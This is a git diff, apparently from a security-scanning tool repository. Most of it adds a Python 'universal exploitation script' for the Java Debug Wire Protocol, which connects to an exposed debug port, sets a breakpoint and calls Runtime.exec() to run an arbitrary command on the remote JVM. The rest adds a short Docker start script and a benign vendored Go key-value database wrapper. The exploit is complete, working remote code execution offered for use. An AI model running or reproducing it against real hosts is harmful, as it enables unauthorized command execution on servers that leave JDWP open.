0x00 +REPLY_PACKET_TYPE = 0x80 + +# Command signatures +VERSION_SIG = (1, 1) +CLASSESBYSIGNATURE_SIG = (1, 2) +ALLCLASSES_SIG = (1, 3) +ALLTHREADS_SIG = (1, 4) +IDSIZES_SIG = (1, 7) +CREATESTRING_SIG = (1, 11) +SUSPENDVM_SIG = (1, 8) +RESUMEVM_SIG = (1, 9) +SIGNATURE_SIG = (2, 1) +FIELDS_SIG = (2, 4) +METHODS_SIG = (2, 5) +GETVALUES_SIG = (2, 6) +CLASSOBJECT_SIG = (2, 11) +INVOKESTATICMETHOD_SIG = (3, 3) +REFERENCETYPE_SIG = (9, 1) +INVOKEMETHOD_SIG = (9, 6) +STRINGVALUE_SIG = (10, 1) +THREADNAME_SIG = (11, 1) +THREADSUSPEND_SIG = (11, 2) +THREADRESUME_SIG = (11, 3) +THREADSTATUS_SIG = (11, 4) +EVENTSET_SIG = (15, 1) +EVENTCLEAR_SIG = (15, 2) +EVENTCLEARALL_SIG = (15, 3) + +# Other codes +MODKIND_COUNT = 1 +MODKIND_THREADONLY = 2 +MODKIND_CLASSMATCH = 5 +MODKIND_LOCATIONONLY = 7 +EVENT_BREAKPOINT = 2 +SUSPEND_EVENTTHREAD = 1 +SUSPEND_ALL = 2 +NOT_IMPLEMENTED = 99 +VM_DEAD = 112 +INVOKE_SINGLE_THREADED = 2 +TAG_OBJECT = 76 +TAG_STRING = 115 +TYPE_CLASS = 1 + + +################################################################################ +# +# JDWP client class +# +class JDWPClient: + + def __init__(self, host, port=8000): + self.host = host + self.port = port + self.methods = {} + self.fields = {} + self.id = 0x01 + return + + def create_packet(self, cmdsig, data=""): + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = len(data) + 11 + pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) + pkt+= data + self.id += 2 + return pkt + + def read_reply(self): + header = self.socket.recv(11) + pktlen, id, flags, errcode = struct.unpack(">IIcH", header) + + if flags == chr(REPLY_PACKET_TYPE): + if errcode : + raise Exception("Received errcode %d" % errcode) + + buf = "" + while len(buf) + 11 < pktlen: + data = self.socket.recv(1024) + if len(data): + buf += data + else: + time.sleep(1) + return buf + + def parse_entries(self, buf, formats, explicit=True): + entries = [] + index = 0 + + + if explicit: + nb_entries = struct.unpack(">I", buf[:4])[0] + buf = buf[4:] + else: + nb_entries = 1 + + for i in range(nb_entries): + data = {} + for fmt, name in formats: + if fmt == "L" or fmt == 8: + data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0]) + index += 8 + elif fmt == "I" or fmt == 4: + data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) + index += 4 + elif fmt == 'S': + l = struct.unpack(">I", buf[index:index+4])[0] + data[name] = buf[index+4:index+4+l] + index += 4+l + elif fmt == 'C': + data[name] = ord(struct.unpack(">c", buf[index])[0]) + index += 1 + elif fmt == 'Z': + t = ord(struct.unpack(">c", buf[index])[0]) + if t == 115: + s = self.solve_string(buf[index+1:index+9]) + data[name] = s + index+=9 + elif t == 73: + data[name] = struct.unpack(">I", buf[index+1:index+5])[0] + buf = struct.unpack(">I", buf[index+5:index+9]) + index=0 + + else: + print "Error" + sys.exit(1) + + entries.append( data ) + + return entries + + def format(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.pack(">Q", value) + elif fmt == "I" or fmt == 4: + return struct.pack(">I", value) + + raise Exception("Unknown format") + + def unformat(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.unpack(">Q", value[:8])[0] + elif fmt == "I" or fmt == 4: + return struct.unpack(">I", value[:4])[0] + else: + raise Exception("Unknown format") + return + + def start(self): + self.handshake(self.host, self.port) + self.idsizes() + self.getversion() + self.allclasses() + return + + def handshake(self, host, port): + s = socket.socket() + try: + s.connect( (host, port) ) + except socket.error as msg: + raise Exception("Failed to connect: %s" % msg) + + s.send( HANDSHAKE ) + + if s.recv( len(HANDSHAKE) ) != HANDSHAKE: + raise Exception("Failed to handshake") + else: + self.socket = s + + return + + def leave(self): + self.socket.close() + return + + def getversion(self): + self.socket.sendall( self.create_packet(VERSION_SIG) ) + buf = self.read_reply() + formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), + ('S', "vmVersion"), ('S', "vmName"), ] + for entry in self.parse_entries(buf, formats, False): + for name,value in entry.iteritems(): + setattr(self, name, value) + return + + @property + def version(self): + return "%s - %s" % (self.vmName, self.vmVersion) + + def idsizes(self): + self.socket.sendall( self.create_packet(IDSIZES_SIG) ) + buf = self.read_reply() + formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), + ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] + for entry in self.parse_entries(buf, formats, False): + for name,value in entry.iteritems(): + setattr(self, name, value) + return + + def allthreads(self): + try: + getattr(self, "threads") + except : + self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) + buf = self.read_reply() + formats = [ (self.objectIDSize, "threadId")] + self.threads = self.parse_entries(buf, formats) + finally: + return self.threads + + def get_thread_by_name(self, name): + self.allthreads() + for t in self.threads: + threadId = self.format(self.objectIDSize, t["threadId"]) + self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) + buf = self.read_reply() + if len(buf) and name == self.readstring(buf): + return t + return None + + def allclasses(self): + try: + getattr(self, "classes") + except: + self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) + buf = self.read_reply() + formats = [ ('C', "refTypeTag"), + (self.referenceTypeIDSize, "refTypeId"), + ('S', "signature"), + ('I', "status")] + self.classes = self.parse_entries(buf, formats) + + return self.classes + + def get_class_by_name(self, name): + for entry in self.classes: + if entry["signature"].lower() == name.lower() : + return entry + return None + + def get_methods(self, refTypeId): + if not self.methods.has_key(refTypeId): + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) + buf = self.read_reply() + formats = [ (self.methodIDSize, "methodId"), + ('S', "name"), + ('S', "signature"), + ('I', "modBits")] + self.methods[refTypeId] = self.parse_entries(buf, formats) + return self.methods[refTypeId] + + def get_method_by_name(self, name): + for refId in self.methods.keys(): + for entry in self.methods[refId]: + if entry["name"].lower() == name.lower() : + return entry + return None + + def getfields(self, refTypeId): + if not self.fields.has_key( refTypeId ): + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) + buf = self.read_reply() + formats = [ (self.fieldIDSize, "fieldId"), + ('S', "name"), + ('S', "signature"), + ('I', "modbits")] + self.fields[refTypeId] = self.parse_entries(buf, formats) + return self.fields[refTypeId] + + def getvalue(self, refTypeId, fieldId): + data = self.format(self.referenceTypeIDSize, refTypeId) + data+= struct.pack(">I", 1) + data+= self.format(self.fieldIDSize, fieldId) + self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) + buf = self.read_reply() + formats = [ ("Z", "value") ] + field = self.parse_entries(buf, formats)[0] + return field + + def createstring(self, data): + buf = self.buildstring(data) + self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) + buf = self.read_reply() + return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) + + def buildstring(self, data): + return struct.pack(">I", len(data)) + data + + def readstring(self, data): + size = struct.unpack(">I", data[:4])[0] + return data[4:4+size] + + def suspendvm(self): + self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) + self.read_reply() + return + + def resumevm(self): + self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) + self.read_reply() + return + + def invokestatic(self, classId, threadId, methId, *args): + data = self.format(self.referenceTypeIDSize, classId) + data+= self.format(self.objectIDSize, threadId) + data+= self.format(self.methodIDSize, methId) + data+= struct.pack(">I", len(args)) + for arg in args: + data+= arg + data+= struct.pack(">I", 0) + + self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) + buf = self.read_reply() + return buf + + def invoke(self, objId, threadId, classId, methId, *args): + data = self.format(self.objectIDSize, objId) + data+= self.format(self.objectIDSize, threadId) + data+= self.format(self.referenceTypeIDSize, classId) + data+= self.format(self.methodIDSize, methId) + data+= struct.pack(">I", len(args)) + for arg in args: + data+= arg + data+= struct.pack(">I", 0) + + self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) + buf = self.read_reply() + return buf + + def solve_string(self, objId): + self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) + buf = self.read_reply() + if len(buf): + return self.readstring(buf) + else: + return "" + + def query_thread(self, threadId, kind): + data = self.format(self.objectIDSize, threadId) + self.socket.sendall( self.create_packet(kind, data=data) ) + buf = self.read_reply() + return + + def suspend_thread(self, threadId): + return self.query_thread(threadId, THREADSUSPEND_SIG) + + def status_thread(self, threadId): + return self.query_thread(threadId, THREADSTATUS_SIG) + + def resume_thread(self, threadId): + return self.query_thread(threadId, THREADRESUME_SIG) + + def send_event(self, eventCode, *args): + data = "" + data+= chr( eventCode ) + data+= chr( SUSPEND_ALL ) + data+= struct.pack(">I", len(args)) + + for kind, option in args: + data+= chr( kind ) + data+= option + + self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) + buf = self.read_reply() + return struct.unpack(">I", buf)[0] + + def clear_event(self, eventCode, rId): + data = chr(eventCode) + data+= struct.pack(">I", rId) + self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) + self.read_reply() + return + + def clear_events(self): + self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) + self.read_reply() + return + + def wait_for_event(self): + buf = self.read_reply() + return buf + + def parse_event_breakpoint(self, buf, eventId): + num = struct.unpack(">I", buf[2:6])[0] + rId = struct.unpack(">I", buf[6:10])[0] + if rId != eventId: + return None + tId = self.unformat(self.objectIDSize, buf[10:10+self.objectIDSize]) + loc = -1 # don't care + return rId, tId, loc + + + +def runtime_exec(jdwp, args): + print ("[+] Targeting '%s:%d'" % (args.target, args.port)) + print ("[+] Reading settings for '%s'" % jdwp.version) + + # 1. get Runtime class reference + runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;") + if runtimeClass is None: + print ("[-] Cannot find class Runtime") + return False + print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) + + # 2. get getRuntime() meth reference + jdwp.get_methods(runtimeClass["refTypeId"]) + getRuntimeMeth = jdwp.get_method_by_name("getRuntime") + if getRuntimeMeth is None: + print ("[-] Cannot find method Runtime.getRuntime()") + return False + print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) + + # 3. setup breakpoint on frequently called method + c = jdwp.get_class_by_name( args.break_on_class ) + if c is None: + print("[-] Could not access class '%s'" % args.break_on_class) + print("[-] It is possible that this class is not used by application") + print("[-] Test with another one with option `--break-on`") + return False + + jdwp.get_methods( c["refTypeId"] ) + m = jdwp.get_method_by_name( args.break_on_method ) + if m is None: + print("[-] Could not access method '%s'" % args.break_on) + return False + + loc = chr( TYPE_CLASS ) + loc+= jdwp.format( jdwp.referenceTypeIDSize, c["refTypeId"] ) + loc+= jdwp.format( jdwp.methodIDSize, m["methodId"] ) + loc+= struct.pack(">II", 0, 0) + data = [ (MODKIND_LOCATIONONLY, loc), ] + rId = jdwp.send_event( EVENT_BREAKPOINT, *data ) + print ("[+] Created break event id=%x" % rId) + + # 4. resume vm and wait for event + jdwp.resumevm() + + print ("[+] Waiting for an event on '%s'" % args.break_on) + while True: + buf = jdwp.wait_for_event() + ret = jdwp.parse_event_breakpoint(buf, rId) + if ret is not None: + break + + rId, tId, loc = ret + print ("[+] Received matching event from thread %#x" % tId) + + jdwp.clear_event(EVENT_BREAKPOINT, rId) + + # 5. Now we can execute any code + if args.cmd: + runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd) + else: + # by default, only prints out few system properties + runtime_exec_info(jdwp, tId) + + jdwp.resumevm() + + print ("[!] Command successfully executed") + + return True + + +def runtime_exec_info(jdwp, threadId): + # + # This function calls java.lang.System.getProperties() and + # displays OS properties (non-intrusive) + # + properties = {"java.version": "Java Runtime Environment version", + "java.vendor": "Java Runtime Environment vendor", + "java.vendor.url": "Java vendor URL", + "java.home": "Java installation directory", + "java.vm.specification.version": "Java Virtual Machine specification version", + "java.vm.specification.vendor": "Java Virtual Machine specification vendor", + "java.vm.specification.name": "Java Virtual Machine specification name", + "java.vm.version": "Java Virtual Machine implementation version", + "java.vm.vendor": "Java Virtual Machine implementation vendor", + "java.vm.name": "Java Virtual Machine implementation name", + "java.specification.version": "Java Runtime Environment specification version", + "java.specification.vendor": "Java Runtime Environment specification vendor", + "java.specification.name": "Java Runtime Environment specification name", + "java.class.version": "Java class format version number", + "java.class.path": "Java class path", + "java.library.path": "List of paths to search when loading libraries", + "java.io.tmpdir": "Default temp file path", + "java.compiler": "Name of JIT compiler to use", + "java.ext.dirs": "Path of extension directory or directories", + "os.name": "Operating system name", + "os.arch": "Operating system architecture", + "os.version": "Operating system version", + "file.separator": "File separator", + "path.separator": "Path separator", + "user.name": "User's account name", + "user.home": "User's home directory", + "user.dir": "User's current working directory" + } + + systemClass = jdwp.get_class_by_name("Ljava/lang/System;") + if systemClass is None: + print ("[-] Cannot find class java.lang.System") + return False + + jdwp.get_methods(systemClass["refTypeId"]) + getPropertyMeth = jdwp.get_method_by_name("getProperty") + if getPropertyMeth is None: + print ("[-] Cannot find method System.getProperty()") + return False + + for propStr, propDesc in properties.iteritems(): + propObjIds = jdwp.createstring(propStr) + if len(propObjIds) == 0: + print ("[-] Failed to allocate command") + return False + propObjId = propObjIds[0]["objId"] + + data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ] + buf = jdwp.invokestatic(systemClass["refTypeId"], + threadId, + getPropertyMeth["methodId"], + *data) + if buf[0] != chr(TAG_STRING): + print ("[-] %s: Unexpected returned type: expecting String" % propStr) + else: + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId)) + print ("[+] Found %s '%s'" % (propDesc, res)) + + return True + + +def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command): + # + # This function will invoke command as a payload, which will be running + # with JVM privilege on host (intrusive). + # + print ("[+] Selected payload '%s'" % command) + + # 1. allocating string containing our command to exec() + cmdObjIds = jdwp.createstring( command ) + if len(cmdObjIds) == 0: + print ("[-] Failed to allocate command") + return False + cmdObjId = cmdObjIds[0]["objId"] + print ("[+] Command string object created id:%x" % cmdObjId) + + # 2. use context to get Runtime object + buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Unexpected returned type: expecting Object") + return False + rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + + if rt is None: + print "[-] Failed to invoke Runtime.getRuntime()" + return False + print ("[+] Runtime.getRuntime() returned context id:%#x" % rt) + + # 3. find exec() method + execMeth = jdwp.get_method_by_name("exec") + if execMeth is None: + print ("[-] Cannot find method Runtime.exec()") + return False + print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"]) + + # 4. call exec() in this context with the alloc-ed string + data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ] + buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data) + if buf[0] != chr(TAG_OBJECT): + print ("[-] Unexpected returned type: expecting Object") + return False + + retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize]) + print ("[+] Runtime.exec() successful, retId=%x" % retId) + + return True + + +def str2fqclass(s): + i = s.rfind('.') + if i == -1: + print("Cannot parse path") + sys.exit(1) + + method = s[i:][1:] + classname = 'L' + s[:i].replace('.', '/') + ';' + return classname, method + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", + formatter_class=argparse.ArgumentDefaultsHelpFormatter ) + + parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) + parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") + + parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", + default="java.net.ServerSocket.accept", help="Specify full path to method to break on") + parser.add_argument("--cmd", dest="cmd", type=str, metavar="COMMAND", + help="Specify command to execute remotely") + + args = parser.parse_args() + + classname, meth = str2fqclass(args.break_on) + setattr(args, "break_on_class", classname) + setattr(args, "break_on_method", meth) + + retcode = 0 + + try: + cli = JDWPClient(args.target, args.port) + cli.start() + + if runtime_exec(cli, args) == False: + print ("[-] Exploit failed") + retcode = 1 + + except KeyboardInterrupt: + print ("[+] Exiting on user's request") + + except Exception as e: + print ("[-] Exception: %s" % e) + retcode = 1 + cli = None + + finally: + if cli: + cli.leave() + + sys.exit(retcode) diff --git a/tools/start.sh b/tools/start.sh new file mode 100755 index 000000000..4a237f6ad --- /dev/null +++ b/tools/start.sh @@ -0,0 +1,4 @@ +export http_proxy="http://docker.for.mac.localhost:7890" +apt-get update -yy +apt-get install -yy --fix-missing libpcap-dev +/bin/bash diff --git a/vendor/github.com/hktalent/kvDb/.gitignore b/vendor/github.com/hktalent/kvDb/.gitignore new file mode 100644 index 000000000..66fd13c90 --- /dev/null +++ b/vendor/github.com/hktalent/kvDb/.gitignore @@ -0,0 +1,15 @@ +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool, specifically when used with LiteIDE +*.out + +# Dependency directories (remove the comment below to include it) +# vendor/ diff --git a/vendor/github.com/hktalent/kvDb/README.md b/vendor/github.com/hktalent/kvDb/README.md new file mode 100644 index 000000000..56356ccc0 --- /dev/null +++ b/vendor/github.com/hktalent/kvDb/README.md @@ -0,0 +1,2 @@ +# kvDb +go Simple and lightweight key-value db diff --git a/vendor/github.com/hktalent/kvDb/kvDb.go b/vendor/github.com/hktalent/kvDb/kvDb.go new file mode 100644 index 000000000..2da48341b --- /dev/null +++ b/vendor/github.com/hktalent/kvDb/kvDb.go @@ -0,0 +1,123 @@ +package kvDb + +import ( + "github.com/json-iterator/go" + "github.com/syndtr/goleveldb/leveldb" + "github.com/syndtr/goleveldb/leveldb/iterator" + "github.com/syndtr/goleveldb/leveldb/opt" + "github.com/syndtr/goleveldb/leveldb/util" + "log" +) + +var json = jsoniter.ConfigCompatibleWithStandardLibrary + +type KvDb struct { + db *leveldb.DB + dbPath string + Opt *opt.Options + IsInit bool +} + +func NewKvDb(dbPath string, opt *opt.Options) *KvDb { + if "" == dbPath { + dbPath = "db/kvDb" + } + x1 := &KvDb{dbPath: dbPath, IsInit: false, Opt: opt} + x1.init() + return x1 +} + +func (r *KvDb) log(a ...any) { + log.Println(a...) +} + +// &util.Range{Start: []byte("foo"), Limit: []byte("xoo")} +// util.BytesPrefix([]byte("foo-")) +func (r *KvDb) Iterator(fnCbk func(iterator.Iterator) bool, slice *util.Range) { + iter := r.db.NewIterator(slice, nil) + defer iter.Release() + if nil != fnCbk { + for iter.Next() { + if !fnCbk(iter) { + break + } + } + } +} + +// delete more key +func (r *KvDb) Delete(a ...any) bool { + bRst := true + for _, x := range a { + if k, err := json.Marshal(x); nil == err { + r.db.Delete(k, nil) + bRst = bRst && true + } else { + bRst = bRst && false + r.log("Delete error ", err) + } + } + return bRst +} + +// put +// k,v, +// k1,v2 +// kn,vn +func (r *KvDb) Put(a ...any) bool { + bRst := 0 == len(a)%2 + if bRst { + for i := 0; i < len(a); i += 2 { + k, err := json.Marshal(a[i]) + v, err1 := json.Marshal(a[i+1]) + if nil == err && nil == err1 { + if err := r.db.Put(k, v, nil); nil != err { + r.log(err) + bRst = bRst && false + } else { + bRst = bRst && true + } + } else { + bRst = bRst && false + } + } + } + return bRst +} + +// get more key,for fnCbk or out chan +func (r *KvDb) Get(out chan interface{}, fnCbk func([]byte), a ...any) { + for _, x := range a { + if d, err := json.Marshal(x); nil == err { + if data, err := r.db.Get(d, nil); nil == err { + if nil != fnCbk { + fnCbk(data) + } else { + out <- data + } + } else { + r.log("Get db.Get error ", err) + } + } else { + r.log("Get json.Marshal error ", err) + } + } +} + +func (r *KvDb) Close() { + if nil != r.db { + r.db.Close() + r.db = nil + } +} +func (r *KvDb) init() { + if r.IsInit { + return + } + if db, err := leveldb.OpenFile(r.dbPath, r.Opt); nil == err { + r.IsInit = true + r.db = db + } else { + r.log("init is error ", err) + } +} diff --git a/vendor/modules.txt b/vendor/modules.txt index ccd9646ac..8d245c27d 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -730,6 +730,9 @@ github.com/hktalent/jaeles/utils # github.com/hktalent/jarm-go v0.0.0-20220918133110-7801447b6267 ## explicit; go 1.18 github.com/hktalent/jarm-go +# github.com/hktalent/kvDb v0.0.0-20221117003327-e25054351180 +## explicit; go 1.18 +github.com/hktalent/kvDb # github.com/hktalent/websocket v0.0.0-20220908204337-b4a81b861976 ## explicit; go 1.12 github.com/hktalent/websocket